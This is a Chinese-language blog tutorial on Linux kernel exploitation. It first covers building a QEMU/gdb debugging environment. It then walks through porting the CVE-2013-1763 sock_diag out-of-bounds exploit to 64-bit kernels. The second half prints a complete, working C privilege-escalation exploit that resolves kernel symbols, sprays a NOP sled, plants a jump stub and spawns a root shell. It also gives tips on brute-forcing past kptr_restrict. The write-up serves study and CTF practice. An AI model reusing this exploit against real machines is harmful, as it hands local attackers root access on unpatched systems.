前言
在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。
本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个总结。可能讲解有些零散,但思路肯定是连贯的。
- 内核调试环境配置
- 移植cve-2013-1763
- 绕过内核缓解机制
- 总结
内核调试环境配置
在单机中调试其他内核,你需要三个组成部件,其一是虚拟化的环境搭建,其二是对应内核版本的二进制库文件,其三是操作系统的启动初始化文件。拥有了这三个部分,你就可以进行比较舒适的调试了。
其一
虚拟化的环境搭建,选择的是qemu这款堪称虚拟化的鼻祖软件,虽然因为连芯片也一起虚拟导致运行速度变慢,但它也结合了真实芯片辅助加速的KVM,支持其他芯片架构的功能,简直就是交叉编译的神器。
(我不会说因为看到ctf里的启动脚本都用qemu才来学习)。
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。
其与Bochs,PearPC类似,但拥有高速(配合KVM),跨平台的特性。
QEMU是一个托管的虚拟机镜像,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM(kernel-based virtual machine开源加速器)一起使用进而接近本地速度运行虚拟机(接近真实计算机的速度)。
QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一中架构上面运行(借由VMM的形式)。
值得注意的是,qemu对主流的架构和芯片都有不错的模拟性能,不常见的,额,还是焊个板子自己干吧。
其二
Firstly,查看清楚自己想要调试的内核漏洞对应的版本范围,在其中任选一款稳定版本下载就行。下载地址在此。要注意的是,其中tar的压缩方式有好多种,下载完如何解压缩,就充当是学习linux常用命令。
- *.tar.xz 用 tar -xvf 解压
- .tar.gz和.tgz 用 tar -xzf 解压
- *.tar.bz2用tar -xjf 解压
Secondly,查找明白解压完毕,将要编译的内核和本身的gcc编译器符不符合。符合,就可以继续下一步;不符合,就要安装旧的gcc编译器。要注意的是,有些版本的gcc发布了,但没有默认安装在linux发行版的默认安装仓库里,所以需要自己去gcc官网下载安装。
- 先看看我们系统用的gcc是什么版本
gcc —version
- 发现编译时gcc版本报错,安装低版本的gcc
sudo apt-get install gcc-4.4 gcc-4.4-multilib
- 不安装g++的原因是因为,linux内核是纯C编写的,版本切换安装
sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-4.4 40
sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-5 50 - 现在可以进行版本切换了,选择版本输出入第一列的编号
sudo update-alternatives —config gcc
Thirdly,安装好一些额外的依赖库后,就可以进入menuconfig
中去设置参数。它是个图形界面,有非常好的操作性,比起一个个选项参数在编译时去Yes or No,真是好了很多。
apt-get install libncurses5-dev build-essential kernel-package
make menuconfig
配置一下编译参数,注意就是修改下面列出的一些选项
由于我们需要使用gdb调试内核,注意下面这几项一定要配置好
- 在KernelHacking —>
- 选中 Compile the kernel with debug info
- 选中 Compile the kernel with frame pointers
- 选中 KGDB:kernel debugging with remote
- 在Processor type and features—>
- 取消 Paravirtualized guest support
- KernelHacking—>
- 取消 Write protect kernel read-only data structures
当然,因为版本的不同,有些选项不见或者有细微的变化,多查阅资料也能熟练掌握,其次为了观察slab的分配,也有专门的slab info参数来选择。
Fourthly,接下来,就是长达二、三个小时的编译,你可以去追追最新的番剧了。
make all
或者
make install
make modules
编译过程中,[M]开头的其实是驱动模块,其实可以分开编译,不过好像速度也没提高多少,还是看最新番剧吧。其中有错误,多半是源码写错或和现在不符,要修补下.c文件。再看不懂报错的,去stackflow上碰碰运气吧。
其三
启动内核还需要一个简单的文件系统和一些启动命令,可以使用busybox 构建。busybox是一个大牛写的精巧文件系统,适合快速编译启动模块。
BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。Busybox在单一的可执行文件中提供了精简的Unix工具集,可运行于多款POSIX环境的操作系统,例如Linux(包括Android)、Hurd、FreeBSD等等。由于BusyBox可执行文件的文件大小比较小、并通常使用Linux内核,这使得它非常适合使用于嵌入式系统。作者将BusyBox称为“嵌入式Linux的瑞士军刀”。
Firstly,下载地址在此。下载完成后,需要解压和编译。同时在编译前,也要配置编译的一些参数
make menuconfig
- Busybox Settings -> Build Options ->
- 选中 Build Busybox as a static binary
- Uinux System Utilities ->
- 取消 Support mounting NFS file system 网络文件系统
- Networking Utilities ->
- 取消 inetd (Internet超级服务器)
make install
Secondly,需要构建文件系统。编译完成后,在busybox源代码的根目录下会有一个_install目录下会存放好编译后的文件。而你需要在其中添加一些东西。
cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
在启动脚本rcS中的代码为:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
主要挂载了两个文件夹,不过最后一句创建设备节点的速度真心慢,不知道为什么有些比赛题目就启动得非常快。最后别忘了,给它加上执行权限
chmod +x etc/init.d/rcS
最后的_install目录下的文件成品:
Thirdly,对于目录下的文件打包成一个镜像文件,每次打包时,都别把上次的镜像文件包进去
find . | cpio -o —format=newc > rootfs.img
为了方便,可以在开启脚本里,编入打包命令,让它每次开启时都可以自动打包。同时,为了提权,总是要创建个低权限用户的shell脚本,也编写入_install目录中。
其四
编写qemu运行内核的脚本
qemu-system-x86_64 #选择qemu的模式和你编译内核时的环境变量有关
-kernel ./home/.../arch/x86_64/boot/bzImage #内核的二进制库
-initrd ./home/.../rootfs.img #启动的镜像
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" #添加的参数,指明控制台,特权,初始路径
-cpu kvm64,+smep #前者是加速器,后者是内核保护模式
--nographic -gdb tcp::1234 #设置为无图形界面,同时和gdb连1234端口,也可以写成 -s
使用gdb进行远程调试
重点终于来了,gdb首先要导入对应内核的二进制库,里面有各种符号表和函数地址的对应关系。其次,还需要在关键的地方断点方便进行调试。那么问题来了,如果像比赛题目那样,有外来驱动模块导入,那么gdb可以断外来驱动上任意函数地址。但如果只是在内核内部运行,没有其他辅助点可以断,那怎么调试exp呢。后来想明白了,exp里肯定会调用这些内核函数,所以环境设置简单点,去除内核随机化,找到有缺陷的函数地址,然后在gdb中给这些地址下断点。
如果要加载驱动的符号文件,先需要在已经运行的内核里去获取驱动模块的基址,它一般在/proc/modules里。
gdb -q ./vmlinux
target remote:1234
add-symbol-file xxx.ko 0xffffxxx
如果是要找内核内部的函数,可以在/proc/kallsyms文件里寻找到,管道操作grep大家应该都会的吧。
移植cve-2013-1763
我查阅了一些最近几年的真实linux内核漏洞,它们角度刁钻,原理复杂,竞态多线程跑poc,没个把小时出不了结果。hackerone上有人问作者,这poc不对啊,我跑了一小时都没跑出来。作者回复他说,我拿128g的机器跑了10分钟就可以出来了呀。我想想我的小破烂电脑,还不如去追最新的番剧呢。还是找个稍显简单的漏洞来复现,让初学者也能尝到。
漏洞概述
先看看cve官网对这个漏洞的介绍,在内核3.7.10版本及之前的内核都受到这个漏洞的影响。
那为什么一些详解里是3.3~3.8呢,额,因为3.7.10是3.7的最后一个版本,而3.3之前就没引进sock_diag_rcv_msg这个函数,所以也就没有利用的框架。
网上关于它的漏洞讲解也有几个版本,而其中的exp都是一个牛人写的32位的提权验证。我因为初来乍到,直接编译了一个64位的内核,一想到再去编译个32位的版本,就不提要修改后缀名为.bin这样的麻烦事,至少又是二、三个小时的等待,而我新番都看完了。所以我立刻打算明白原理后,移植它到64位内核上提权,顺便就像做一道kernel pwn的练习题了。
漏洞分析
可以从下图看出多加了sdiag_family的检验语句,并且也就修改了这一处,很明显,这是一个关于数组越界的溢出漏洞。
网上的原理讲解的其实满清晰的,主要可能是自己菜,反复读后才发现关键点文中已经指出了。现在,根据我的总结,快速来上手。看三处代码:
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))//只判断小,没判断大
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family);//仅仅加锁
if (hndl == NULL)//那它肯定不是NULL喽
err = -ENOENT;
else
err = hndl->dump(skb, nlh);//exp的突破口
sock_diag_unlock_handler(hndl);
return err;
}
__sock_diag_rcv_msg函数位于进程通讯函数链的一员,可以利用netlink协议来创建socket并发送数据触发数组越界的这个断点。从代码中可以看出,dump函数是一个利用的点,具体在后面动态调试中看出。
struct sock_diag_handler {
__u8 family;//在64位里,就是8个字节
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);//虽没有源码详解,根据调试,是直接运行第一位地址上的值
};
结构体sock_diag_handler也需要查看来明白它定义了什么。
struct nl_pid_hash {
struct hlist_head *table;
unsigned long rehash_time;//这个值随机在一定范围内,可控
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
struct netlink_table {
struct nl_pid_hash hash;//上方是结构体的详细介绍
struct hlist_head mc_list;
struct listeners __rcu *listeners;
unsigned int nl_nonroot;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
int registered;
};
这个结构体,你要问我怎么找出来的,我也回答不上来。只能说是一位六年前就对内核很精通的大牛,他发现在内核进程中,nl_table(struct netlink_table)和sock_diag_handlers(struct sock_diag_handler)的距离很近,而且还是在下方,可以被溢出到。同时,它的hash(struct nl_pid_hash)—>rehash_time虽然是个随机值,但是却永远落在一定范围内,可以通过堆风水的方式来利用它。
那么,思路就很明确了,只剩下如何构造数据包和利用链。
修改exp
Firstly,说到netlink消息数据包,我们只需要这个包能经过__sock_diag_rcv_msg就行,那么只需要它的请求格式符合结构体:
struct
{
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
查阅资料时,发现请求头必须是nlmsghdr结构体,但数据区也可以是inet_diag_req或者inet_diag_req_v2结构体。
struct unix_diag_req {
__u8 sdiag_family;
__u8 sdiag_protocol;
__u16 pad;
__u32 udiag_states;
__u32 udiag_ino;
__u32 udiag_show;
__u32 udiag_cookie[2];
};
struct inet_diag_req {
__u8 idiag_family; /* Family of addresses. */
__u8 idiag_src_len;
__u8 idiag_dst_len;
__u8 idiag_ext; /* Query extended information */
struct inet_diag_sockid id;
__u32 idiag_states; /* States to dump */
__u32 idiag_dbs; /* Tables to dump (NI) */
};
struct inet_diag_sockid {
__be16 idiag_sport;
__be16 idiag_dport;
__be32 idiag_src[4];
__be32 idiag_dst[4];
__u32 idiag_if;
__u32 idiag_cookie[2];
};
最主要的还是unix_diag_req结构最简单,利用起来最方便。
Secondly,需要计算出family的取值到底要多少,不能大也不能小。
在32位里,family = (nl_table – sock_diag_handlers)/4
显然,在64位里,family = (nl_table – sock_diag_handlers)/8
现在的问题是如何获取这两个结构体的具体地址,如果内核设置kernel.kptr_restrict=0,那么我们可以直接从/proc/kallsyms里获取,如果禁止,那连/boot/linux-image-xxx-generic里也无法获取。
Thirdly,因为32位的exp可以搜到,链接放在文后,所以我就选取一些修改点来分析。
[...]
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eaxn"
"call *%eaxn"
);
}
[...]
//填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
[...]
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //选择了一块1MB多的内存区域
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap faultn");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90,在X86系统中对应的是NOP指令
char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
unsigned long *asd = &jump[4];
*asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
[...]
大牛的利用思路是,获取rehash_time大致取值范围,然后在那块区域布满nop指令用于堆喷,再写一个提权子函数后,利用很巧妙的手法,塞进区域的最后,由call xxx来成功突破。换言之,32位转变成64位,最重要的就是获取64位下rehash_time的范围,就是64位的指令格式和长度不同,还有就是数据类型大小也有所不同。
Fourthly,写出64位下的jump_payload汇编语句后,靠objdump来编译出机器码,值得注意的是,64位里,你设置的跳转地址不同,机器码也会有所不同。
接下来需要调试出64位里rehash_time的位置,这会在下节讲。等到这两点都获取了,那么64位的exp也差不多写成了。
#include<stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
//return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %raxn"
"call *%raxn"
);
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%sn", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %pn", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socketn");
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 99;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 8;
printf("family=%dn",family);
if(family>255){
printf("nl_table is too far!n");
exit(1);
}
req.r.sdiag_family = family;
unsigned long mmap_start, mmap_size;
mmap_start = 0xfffd0000;
mmap_size = 0x20000;
printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap faultn");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
char jump[] = "x55x48x89xe5x48xb8x11x11x11x11x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
unsigned long *asd =(unsigned long *)&jump[6];
//将x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
printf("[+] kernel_code: %pn",(void *) kernel_code);
//把jump_payload放进mmap的内存的最后
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
printf("uid=%d, euid=%dn",getuid(), geteuid() );
system("/bin/sh");
}
调试过程
首先,要下内核断点,这里选取的是__sock_diag_rcv_msg函数,它离调用点很近。
其次,查看结构体netlink_table的子结构体nl_pid_hash的子成员rehash_time的值。多次调试可以知道取值范围。
然后,查看(dump )函数的汇编代码流程,查看正常和溢出时不一样的变化。
可以看出,正常rax已经为零,不再去执行(dump)函数,而伪造的继续执行。
接着,查看shellcode流的走向。
最后,成功提权,拿到了root权限,虽然这是在毫无内核保护机制之下。
简单绕过
内核最常见的是内核地址随机化保护(kaslr),但是查看exp流程,你会发现,基本没有需要突破kaslr的地方,因为地址已经被泄露出来了。那么,如果kernel.kptr_restrict=1的时候,地址被封禁,也就是没办法去调用符号的地址。这个时候也不可以查看dmesg日志里的报错信息,因为进程间通信错误会使内核这一板块失效,之后再去运行时就会卡死。
但我们也不是没有办法,根据反复调试,每个linux版本里这两个结构体的相对位置大致不变。可以编写自动化脚本,给一个固定的值,反复重启爆破出某次正好凑齐的值。
之后还有smep、smap的内核禁止执行用户空间代码的保护,绕过这种保护,一般使用rop来突破,就像一般pwn题用它来绕过NX一样。但是,这内核空间里没有可以直接利用的栈空间,连一句rop也无法执行。比较少见的方式是去修改使内核误以为用户空间页是内核空间页。两者详细利用,我都会在下篇里进行讲述,下篇也会调试几个最近有关虚拟页表的内核cve漏洞。我绝对不会说JOJO的奇妙冒险更新了,我赶着去看,所以不想再往下写了。
上篇总结
内核调试总是要走很多弯路,幸好很多坑前辈已经帮你踩过,你也在常规的pwn题里跌倒过,最后上手总是快些。但是密密麻麻的函数流程,比python难上手的linux下的C编程,总是令人恐惧。这是无可奈何的事,田园时代已过,未来只会更加凶险。你能做到就是盯着它看,代码烂熟于心,就算找不到漏洞,那至少也是一名内核工程师了。
上篇主要还是讲了讲调试内核的入门,分析的漏洞也是一个较为明显的越界,也怪我懒散,拖拖拉拉到现在才写完。那我们就在猴年马月的下篇再见了。
参考资料
(1).https://bbs.pediy.com/thread-178397.htm
(2).https://www.cnblogs.com/ck1020/p/7118236.html
(3).http://m4x.fun/post/linux-kernel-pwn-abc-1/#get-root-shell
发表评论
您还未登录,请先登录。
登录